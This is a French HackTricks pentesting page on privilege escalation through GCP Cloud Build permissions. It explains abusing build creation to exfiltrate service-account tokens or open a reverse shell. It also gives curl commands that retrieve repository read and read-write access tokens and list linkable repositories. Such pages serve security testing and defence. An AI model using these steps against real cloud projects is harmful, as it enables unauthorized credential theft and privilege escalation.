GCP - Cloudbuild Privesc

Soutenez HackTricks

cloudbuild

Pour plus d'informations sur Cloud Build, consultez :

GCP - Cloud Build Enum

cloudbuild.builds.create

Avec cette permission, vous pouvez soumettre une construction cloud. La machine cloudbuild aura par défaut un jeton du Service Account cloudbuild dans son système de fichiers : <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Cependant, vous pouvez indiquer n'importe quel service account à l'intérieur du projet dans la configuration cloudbuild. Par conséquent, vous pouvez simplement faire exfiltrer le jeton par la machine vers votre serveur ou obtenir un reverse shell à l'intérieur et récupérer vous-même le jeton (le fichier contenant le jeton peut changer).

Vous pouvez trouver le script d'exploitation original ici sur GitHub (mais l'emplacement d'où il récupère le jeton n'a pas fonctionné pour moi). Par conséquent, consultez un script pour automatiser la création, l'exploitation et le nettoyage d'un environnement vulnérable ici et un script python pour obtenir un reverse shell à l'intérieur de la machine cloudbuild et le voler ici (dans le code, vous pouvez trouver comment spécifier d'autres service accounts).

Pour une explication plus détaillée, visitez https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.builds.update

Potentiellement, avec cette permission, vous pourrez mettre à jour une construction cloud et simplement voler le jeton du service account comme cela a été fait avec la permission précédente (mais malheureusement, au moment de la rédaction, je n'ai trouvé aucun moyen d'appeler cette API).

TODO

cloudbuild.repositories.accessReadToken

Avec cette permission, l'utilisateur peut obtenir le jeton d'accès en lecture utilisé pour accéder au dépôt :

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

Avec cette permission, l'utilisateur peut obtenir le jeton d'accès en lecture et écriture utilisé pour accéder au dépôt :

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

Avec cette permission, vous pouvez obtenir les dépôts auxquels la connexion a accès :

curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
Soutenez HackTricks

Last updated